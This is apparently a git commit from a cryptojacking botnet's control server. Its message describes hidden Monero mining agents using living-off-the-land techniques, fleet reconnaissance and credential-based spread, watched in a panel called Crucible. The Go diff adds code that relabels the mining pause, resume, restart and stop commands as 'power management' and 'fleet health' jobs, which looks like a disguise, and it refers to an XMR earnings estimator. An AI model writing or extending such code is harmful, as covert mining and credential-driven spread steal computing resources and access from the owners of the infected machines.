Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -554,6 +554,22 @@ type bulkCommandRequest struct {
Command string `json:"command,omitempty"`
}
// bulkCommandMeta adds fleet-health / power-management labels for mining control actions.
func bulkCommandMeta(action string) (category, label string) {
switch action {
case "pause":
return "power_management", "Power down hashing (fleet health job)"
case "resume":
return "power_management", "Restore hashing (fleet health job)"
case "restart":
return "power_management", "Restart mining workload"
case "stop":
return "power_management", "Stop agent process"
default:
return "", ""
}
}
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
@@ -590,12 +606,17 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
sent++
}
}
writeJSON(w, map[string]interface{}{
resp := map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"action": req.Action,
})
}
if category, label := bulkCommandMeta(req.Action); category != "" {
resp["category"] = category
resp["label"] = label
}
writeJSON(w, resp)
}
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).